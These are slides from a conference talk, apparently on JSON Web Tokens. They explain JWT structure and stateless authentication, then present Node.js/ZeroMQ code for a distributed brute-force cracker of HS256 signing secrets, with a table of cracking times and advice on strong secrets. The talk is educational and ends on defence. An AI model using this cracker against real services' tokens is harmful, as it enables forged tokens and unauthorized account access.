London - 11 JUL 2018
Solution Architect at
with @mariocasciaro
with @andreaman87
with @ Podgeypoos79
Chapters 10 & 11 in Node.js design patterns (book)
2-parts article on RisingStack:
"ZeroMQ & Node.js Tutorial - Cracking JWT Tokens"
is a compact, URL-safe means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is used as the payload of a JSON Web Signature (JWS) structure or as the plaintext of a JSON Web Encryption (JWE) structure, enabling the claims to be digitally signed or integrity protected with a Message Authentication Code (MAC) and/or encrypted.
JWT is...
An URL safe, stateless protocol for transferring claims
URL safe?
stateless?
claims?
unicorntube.pl/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
(Sometimes also defined as "self-contained")
iss: issuer ID ("auth0")
sub: subject ID ("johndoe@gmail.com")
aud: audience ID ("https://someapp.com")
exp: expiration time ("1510047437793")
nbf: not before ("1510046471284")
iat: issue time ("1510045471284")
{ "iss": "auth0", "sub": "johndoe@gmail.com", "aud": "https://someapp.com", "exp": "1510047437793", "nbf": "1510046471284", "iat": "1510045471284" }
signature = HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret )
header
payload
secret
SIGNATURE
+
+
=
Session token
Browser
1. POST /login
2. generate session
id:"Y4sHySEPWAjc" user:"luciano"
user:"luciano" pass:"mariobros"
3. session cookie
SID:"Y4sHySEPWAjc"
4. GET /profile
5. query
id:"Y4sHySEPWAjc"
6. record
id:"Y4sHySEPWAjc" user:"luciano"
7. (page)
<h1>hello luciano</h1>
Server
Sessions
Database
id:"Y4sHySEPWAjc" user:"luciano"
SID:"Y4sHySEPWAjc"
Browser
1. POST /login
3. JWT Token
{"sub":"luciano"}
user:"luciano" pass:"mariobros"
6. (page)
<h1>hello luciano</h1>
Server
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsdWNpYW5vIn0.V92iQaqMrBUhkgEAyRaCY7pezgH-Kls85DY8wHnFrk4
4. GET /profile
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsdWNpYW5vIn0.V92iQaqMrBUhkgEAyRaCY7pezgH-Kls85DY8wHnFrk4
5. verify
2. create
JWT
Note: Only the server knows the secret
You only have to Base64Url-decode the token header and payload
and you have a readable JSON
JWT based web app
BUILT WITH
all the strings (of any length) that can be generated within a given alphabet
(empty string), a, b, c, 1, aa, ab, ac, a1, ba, bb, bc, b1, ca, cb, cc, c1, 1a, 1b, 1c, 11, aaa, aab, aac, aa1, aba, ...
if we sort all the possible strings over an alphabet
Alphabet = [a,b]
0 ⟶ (empty string) 1 ⟶ a 2 ⟶ b 3 ⟶ aa 4 ⟶ ab 5 ⟶ ba 6 ⟶ bb
7 ⟶ aaa
8 ⟶ aab
9 ⟶ aba
10 ⟶ abb 11 ⟶ baa 12 ⟶ bab 13 ⟶ bba 14 ⟶ bbb 15 ⟶ aaaa 16 ⟶ aaab
17 ⟶ aaba
18 ⟶ aabb
...
Router channels:
Pub/Sub channel:
0
...
batch 1
batch 2
batch 3
3
6
9
...
{
"cursor": 0,
"clients": {}
}
{
"cursor": 3,
"clients": {
"client1": [0,2]
}
}
[0,2]
{
"cursor": 9,
"clients": {
"client1": [0,2],
"client2": [3,5],
"client3": [6,8]
}
}
[0,2]
[3,5]
[6,8]
{
"cursor": 12,
"clients": {
"client1": [0,2],
"client2": [9,11],
"client3": [6,8]
}
}
[0,2]
[9,11]
[6,8]
let cursor = 0
const clients = new Map()
const assignNextBatch = client => {
const from = cursor
const to = cursor + batchSize - 1
const batch = [from, to]
cursor = cursor + batchSize
client.currentBatch = batch
client.currentBatchStartedAt = new Date()
return batch
}
const addClient = channel => {
const id = channel.toString('hex')
const client = {id, channel, joinedAt: new Date()}
assignNextBatch(client)
clients.set(id, client)
return client
}
Server
JWT Cracker
Server
JWT Cracker
Client
1. JOIN
2. START
{token, alphabet, firstBatch}
3. NEXT
4. BATCH
{nextBatch}
5. SUCCESS
{secret}
const router = (channel, rawMessage) => {
const msg = JSON.parse(rawMessage.toString())
switch (msg.type) {
case 'join': {
const client = addClient(channel)
const response = {
type: 'start',
id: client.id,
batch: client.currentBatch,
alphabet,
token
}
batchSocket.send([channel, JSON.stringify(response)])
break
}
case 'next': {
const batch = assignNextBatch(clients.get(channel.toString('hex')))
batchSocket.send([channel, JSON.stringify({type: 'batch', batch})])
break
}
case 'success': {
const secret = msg.secret
// publish exit signal and closes the app
signalSocket.send(['exit', JSON.stringify({secret, client: channel.toString('hex')})], 0, () => {
batchSocket.close()
signalSocket.close()
exit(0)
})
break
}
}
}
Server
let id, variations, token
const dealer = rawMessage => {
const msg = JSON.parse(rawMessage.toString())
const start = msg => {
id = msg.id
variations = generator(msg.alphabet)
token = msg.token
}
const batch = msg => {
processBatch(token, variations, msg.batch, (secret, index) => {
if (typeof secret === 'undefined') {
// request next batch
batchSocket.send(JSON.stringify({type: 'next'}))
} else {
// propagate success
batchSocket.send(JSON.stringify({type: 'success', secret, index}))
exit(0)
}
})
}
switch (msg.type) {
case 'start':
start(msg)
batch(msg)
break
case 'batch':
batch(msg)
break
}
}
Client
Given chunk [3,6] over alphabet "ab"
[3,6] ⇒
3 ⟶ aa 4 ⟶ ab 5 ⟶ ba 6 ⟶ bb
⇠ check if one of the strings is the secret that validates the current token
const jwt = require('jsonwebtoken')
const generator = require('indexed-string-variation').generator;
const variations = generator('someAlphabet')
const processChunk = (token, from, to) => {
let secret
for (let i = from; i < to; i++) {
try {
secret = variations(i)
jwt.verify(token, secret, {
ignoreExpiration: true,
ignoreNotBefore: true
})
// finished, password found
return ({found: secret})
} catch (err) {} // password not found, keep looping
}
// finished, password not found
return null
}
Client
Heavily used by:
Or, even better
the expiry time is contained in the token...
if you can edit tokens, you can extend the expiry time as needed!
Secret length | Attempts | Time* |
---|---|---|
5 | 26^5 = 12 mln | 1m55.618s |
6 | 26^6 = 310 mln | 1h32m48.378s |
7 | 26^7 = 8 Bln | 3d18h22m10.231s |
8 | 26^8 = 210 Bln | ⏱ still running... |
9 | 26^9 = 5.5 Tln | 😨I didn't even dare to try! |
* 8 clients on 4 t2.medium AWS machines, [a-z] alphabet (loige.link/jwt-bench)
26^64 =
3.616.548.304.479.297.085.365.330.736.464.680.499.909.051.895.704.748.593.486.634.912.486.670.341.490.423.472.351.870.976
Choose the right Algorithm
With HS256, choose a good secret and keep it safe
Don't disclose sensitive information in the payload
Don't be too worried about brute force, but understand how it works!
Thanks!
"the amazing" Paul Dolan